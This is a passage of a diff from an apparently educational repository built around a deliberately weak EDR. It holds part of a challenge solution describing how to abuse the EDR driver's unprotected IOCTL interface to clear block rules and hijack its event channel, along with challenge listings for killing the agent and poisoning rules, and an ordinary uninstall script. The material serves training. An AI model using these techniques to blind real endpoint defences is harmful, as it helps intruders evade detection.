- Even without the sleep, the attacker wins because the IRP completion + re-submission path is tighter
|
||||
|
||||
**Bonus**: the attacker receives all kernel telemetry — every process creation, thread event, and LSASS access attempt flows to the attacker's tool instead of the EDR agent. This is effectively a free kernel-level wiretap.
|
||||
|
||||
A production EDR would fix this with:
|
||||
- Process binding on `IRP_MJ_CREATE` — only the registered agent PID can send `WAIT_FOR_EVENT`
|
||||
- Exclusive device open (`IoCreateDevice` with `Exclusive = TRUE`)
|
||||
- Multiple consumer support (per-client event queues)
|
||||
- Agent identity verification via digital signature or token
|
||||
|
||||
## Attack Chain
|
||||
|
||||
```
|
||||
1. Open \\.\MostShittyEDR with FILE_FLAG_OVERLAPPED
|
||||
2. IOCTL_CLEAR_BLOCK_RULES — remove kernel protections
|
||||
3. Loop: IOCTL_WAIT_FOR_EVENT → receive event → repeat
|
||||
4. Agent gets STATUS_DEVICE_BUSY on every attempt
|
||||
5. Agent is alive but deaf — all events flow to attacker
|
||||
6. Attacker has a free kernel telemetry wiretap
|
||||
```
|
||||
|
||||
## How to Verify
|
||||
|
||||
1. Start the DoS tool first: `nim c -r event_dos.nim`
|
||||
2. Start the EDR: `.\edr_agent.exe --driver --verbose`
|
||||
3. The agent's output shows no `[CREATE]`, `[EXIT]`, or `[THREAD+]` events
|
||||
4. The DoS tool's output shows `[STOLEN #N]` for every kernel event
|
||||
5. Launch `notepad.exe` — the DoS tool shows the create event, the agent shows nothing
|
||||
+27
-1
@@ -6,7 +6,7 @@ permalink: /challenges/
|
||||
|
||||
# EDR Bypass Challenges
|
||||
|
||||
39 challenges across 10 categories. Start with Easy and work your way up.
|
||||
42 challenges across 11 categories. Start with Easy and work your way up.
|
||||
|
||||
## Category 1: Process Name Evasion
|
||||
|
||||
@@ -311,3 +311,29 @@ Bring Your Own Vulnerable Driver — load a legitimately signed driver with dang
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
## Category 11: IOCTL Abuse
|
||||
|
||||
The EDR's own kernel driver exposes an unprotected device (`\\.\MostShittyEDR`) — no DACL, no caller verification, `FILE_ANY_ACCESS` on destructive IOCTLs. Weaponize the driver against itself: kill the agent, poison its block rules, or steal its event channel. No external driver needed.
|
||||
|
||||
<div class="challenge-grid">
|
||||
|
||||
<a href="{{ '/challenges/40-ioctl-hijack-kill/' | relative_url }}" class="challenge-card">
|
||||
<span class="badge badge-medium">Medium</span>
|
||||
<h3>40 - IOCTL Hijack: Kill via EDR</h3>
|
||||
<p>Open the unprotected device and terminate the agent with its own IOCTL_KILL_PROCESS</p>
|
||||
</a>
|
||||
|
||||
<a href="{{ '/challenges/41-block-rule-poisoning/' | relative_url }}" class="challenge-card">
|
||||
<span class="badge badge-medium">Medium</span>
|
||||
<h3>41 - Block Rule Poisoning</h3>
|
||||
<p>Push a kernel block rule targeting edr_agent.exe — it can never restart</p>
|
||||
</a>
|
||||
|
||||
<a href="{{ '/challenges/42-event-channel-dos/' | relative_url }}" class="challenge-card">
|
||||
<span class="badge badge-medium">Medium</span>
|
||||
<h3>42 - Event Channel DoS</h3>
|
||||
<p>Monopolize the single-slot PendingIrp to starve the agent — steal all kernel events</p>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -9,15 +9,15 @@ title: "Home | MostShittyEDR"
|
||||
<p class="subtitle">The World's Most Intentionally Terrible EDR — an educational platform for understanding EDR detection and evasion techniques.</p>
|
||||
<div class="stats">
|
||||
<div class="stat">
|
||||
<div class="stat-number">39</div>
|
||||
<div class="stat-number">42</div>
|
||||
<div class="stat-label">Challenges</div>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<div class="stat-number">10</div>
|
||||
<div class="stat-number">11</div>
|
||||
<div class="stat-label">Categories</div>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<div class="stat-number">39</div>
|
||||
<div class="stat-number">42</div>
|
||||
<div class="stat-label">Solutions</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -116,9 +116,18 @@ title: "Home | MostShittyEDR"
|
||||
</div>
|
||||
</a>
|
||||
|
||||
<a href="{{ '/challenges/#category-11-ioctl-abuse' | relative_url }}" class="card">
|
||||
<div class="card-title">IOCTL Abuse</div>
|
||||
<div class="card-description">Weaponize the EDR's own unprotected driver device — kill the agent, poison block rules, or steal the event channel. No external driver needed.</div>
|
||||
<div class="card-meta">
|
||||
<span class="badge badge-category">3 Challenges</span>
|
||||
<span class="badge badge-medium">Medium</span>
|
||||
</div>
|
||||
</a>
|
||||
|
||||
<a href="{{ '/challenges/' | relative_url }}" class="card">
|
||||
<div class="card-title">Getting Started</div>
|
||||
<div class="card-description">New here? Browse all 39 challenges, pick your difficulty, and start bypassing.</div>
|
||||
<div class="card-description">New here? Browse all 42 challenges, pick your difficulty, and start bypassing.</div>
|
||||
<div class="card-meta">
|
||||
<span class="badge badge-category">Guide</span>
|
||||
</div>
|
||||
|
||||
+248
@@ -0,0 +1,248 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
MostShittyEDR complete uninstall script — agent + kernel driver.
|
||||
|
||||
.DESCRIPTION
|
||||
Stops the EDR agent process, removes the kernel driver service,
|
||||
and optionally cleans up build artifacts. Requires Administrator
|
||||
for driver removal.
|
||||
|
||||
.PARAMETER Agent
|
||||
Stop and remove the agent process only.
|
||||
|
||||
.PARAMETER Driver
|
||||
Stop and remove the kernel driver only.
|
||||
|
||||
.PARAMETER Clean
|
||||
Also remove build artifacts (edr_agent.exe, nimcache, test binaries).
|
||||
|
||||
.PARAMETER Force
|
||||
Skip confirmation prompts.
|
||||
|
||||
.EXAMPLE
|
||||
.\uninstall.ps1 # Uninstall agent + driver
|
||||
.\uninstall.ps1 -Agent # Stop agent only
|
||||
.\uninstall.ps1 -Driver # Uninstall driver only
|
||||
.\uninstall.ps1 -Clean # Uninstall all + remove build artifacts
|
||||
.\uninstall.ps1 -Force # Skip confirmation
|
||||
#>
|
||||
|
||||
[CmdletBinding(DefaultParameterSetName = 'All')]
|
||||
param(
|
||||
[Parameter(ParameterSetName = 'AgentOnly')]
|
||||
[switch]$Agent,
|
||||
|
||||
[Parameter(ParameterSetName = 'DriverOnly')]
|
||||
[switch]$Driver,
|
||||
|
||||
[switch]$Clean,
|
||||
[switch]$Force
|
||||
)
|
||||
|
||||
$ServiceName = "MostShittyEDR"
|
||||
$AgentName = "edr_agent"
|
||||
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
|
||||
# ── Helpers ──────────────────────────────────────────────
|
||||
|
||||
function Write-Banner {
|
||||
Write-Host ""
|
||||
Write-Host " MostShittyEDR - Uninstaller" -ForegroundColor Red
|
||||
Write-Host " ===========================" -ForegroundColor Red
|
||||
Write-Host ""
|
||||
}
|
||||
|
||||
function Test-Administrator {
|
||||
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
|
||||
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
|
||||
return $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
|
||||
}
|
||||
|
||||
# ── Agent Removal ────────────────────────────────────────
|
||||
|
||||
function Stop-Agent {
|
||||
Write-Host " [*] Checking for running agent..." -ForegroundColor Cyan
|
||||
|
||||
$procs = Get-Process -Name $AgentName -ErrorAction SilentlyContinue
|
||||
if ($null -eq $procs) {
|
||||
Write-Host " Agent is not running" -ForegroundColor Yellow
|
||||
return
|
||||
}
|
||||
|
||||
$count = @($procs).Count
|
||||
Write-Host " Found $count agent process(es)" -ForegroundColor Yellow
|
||||
|
||||
foreach ($p in @($procs)) {
|
||||
Write-Host " Stopping PID $($p.Id)..." -ForegroundColor Cyan
|
||||
try {
|
||||
$p | Stop-Process -Force -ErrorAction Stop
|
||||
Write-Host " PID $($p.Id) terminated" -ForegroundColor Green
|
||||
} catch {
|
||||
Write-Host " [!] Failed to stop PID $($p.Id): $_" -ForegroundColor Red
|
||||
Write-Host " Try running as Administrator" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
|
||||
Start-Sleep -Milliseconds 500
|
||||
|
||||
$remaining = Get-Process -Name $AgentName -ErrorAction SilentlyContinue
|
||||
if ($null -eq $remaining) {
|
||||
Write-Host " All agent processes stopped" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " [!] Some processes could not be stopped" -ForegroundColor Red
|
||||
}
|
||||
}
|
||||
|
||||
# ── Driver Removal ───────────────────────────────────────
|
||||
|
||||
function Uninstall-DriverService {
|
||||
Write-Host " [*] Checking kernel driver..." -ForegroundColor Cyan
|
||||
|
||||
$svc = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
|
||||
if ($null -eq $svc) {
|
||||
Write-Host " Driver service is not installed" -ForegroundColor Yellow
|
||||
return
|
||||
}
|
||||
|
||||
if (-not (Test-Administrator)) {
|
||||
Write-Host " [!] Administrator privileges required for driver removal" -ForegroundColor Red
|
||||
Write-Host " Right-click PowerShell -> Run as Administrator" -ForegroundColor Yellow
|
||||
return
|
||||
}
|
||||
|
||||
$status = $svc.Status.ToString().ToLower()
|
||||
Write-Host " Driver status: $status" -ForegroundColor Yellow
|
||||
|
||||
if ($status -eq "running") {
|
||||
Write-Host " Stopping driver service..." -ForegroundColor Cyan
|
||||
$result = sc.exe stop $ServiceName 2>&1
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Host " Driver stopped" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " [!] Stop returned: $result" -ForegroundColor Yellow
|
||||
}
|
||||
Start-Sleep -Seconds 2
|
||||
}
|
||||
|
||||
Write-Host " Removing driver service..." -ForegroundColor Cyan
|
||||
$result = sc.exe delete $ServiceName 2>&1
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Host " Driver service removed" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " [!] Failed to remove: $result" -ForegroundColor Red
|
||||
}
|
||||
}
|
||||
|
||||
# ── Build Artifact Cleanup ───────────────────────────────
|
||||
|
||||
function Remove-BuildArtifacts {
|
||||
Write-Host " [*] Cleaning build artifacts..." -ForegroundColor Cyan
|
||||
|
||||
$artifacts = @(
|
||||
(Join-Path $ScriptDir "edr_agent.exe"),
|
||||
(Join-Path $ScriptDir "src\edr_agent"),
|
||||
(Join-Path $ScriptDir "test_driver_logic.exe"),
|
||||
(Join-Path $ScriptDir "test_driver_ioctl.exe")
|
||||
)
|
||||
$dirs = @(
|
||||
(Join-Path $ScriptDir "nimcache"),
|
||||
(Join-Path $ScriptDir "src\nimcache")
|
||||
)
|
||||
|
||||
foreach ($f in $artifacts) {
|
||||
if (Test-Path $f) {
|
||||
Remove-Item $f -Force -Confirm:$false
|
||||
Write-Host " Removed $(Split-Path $f -Leaf)" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($d in $dirs) {
|
||||
if (Test-Path $d) {
|
||||
Remove-Item $d -Recurse -Force -Confirm:$false
|
||||
Write-Host " Removed $(Split-Path $d -Leaf)/" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host " Build artifacts cleaned" -ForegroundColor Green
|
||||
}
|
||||
|
||||
# ── Status Summary ───────────────────────────────────────
|
||||
|
||||
function Write-FinalStatus {
|
||||
Write-Host ""
|
||||
Write-Host " Status after uninstall:" -ForegroundColor Cyan
|
||||
|
||||
$agentRunning = Get-Process -Name $AgentName -ErrorAction SilentlyContinue
|
||||
Write-Host " Agent: " -NoNewline
|
||||
if ($null -eq $agentRunning) {
|
||||
Write-Host "NOT RUNNING" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "STILL RUNNING ($((@($agentRunning).Count)) processes)" -ForegroundColor Red
|
||||
}
|
||||
|
||||
$svc = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
|
||||
Write-Host " Driver: " -NoNewline
|
||||
if ($null -eq $svc) {
|
||||
Write-Host "NOT INSTALLED" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "$($svc.Status)" -ForegroundColor Red
|
||||
}
|
||||
|
||||
if ($Clean) {
|
||||
$agentExe = Join-Path $ScriptDir "edr_agent.exe"
|
||||
Write-Host " Binary: " -NoNewline
|
||||
if (-not (Test-Path $agentExe)) {
|
||||
Write-Host "CLEANED" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "EXISTS" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
}
|
||||
|
||||
# ── Main ─────────────────────────────────────────────────
|
||||
|
||||
Write-Banner
|
||||
|
||||
$doAgent = (-not $Driver)
|
||||
$doDriver = (-not $Agent)
|
||||
|
||||
$parts = @()
|
||||
if ($doAgent) { $parts += "agent process" }
|
||||
if ($doDriver) { $parts += "kernel driver" }
|
||||
if ($Clean) { $parts += "build artifacts" }
|
||||
$desc = $parts -join ", "
|
||||
|
||||
if (-not $Force) {
|
||||
Write-Host " This will remove: $desc" -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
$reply = Read-Host " Continue? (y/N)"
|
||||
if ($reply -ne "y") {
|
||||
Write-Host ""
|
||||
Write-Host " Cancelled." -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
exit 0
|
||||
}
|
||||
Write-Host ""
|
||||
}
|
||||
|
||||
if ($doAgent) {
|
||||
Stop-Agent
|
||||
Write-Host ""
|
||||
}
|
||||
|
||||
if ($doDriver) {
|
||||
Uninstall-DriverService
|
||||
Write-Host ""
|
||||
}
|
||||
|
||||
if ($Clean) {
|
||||
Remove-BuildArtifacts
|
||||
Write-Host ""
|
||||
}
|
||||
|
||||
Write-FinalStatus
|
||||
|
||||
Write-Host " [+] Uninstall complete." -ForegroundColor Green
|
||||
Write-Host ""
|
||||
Reference in New Issue
Block a user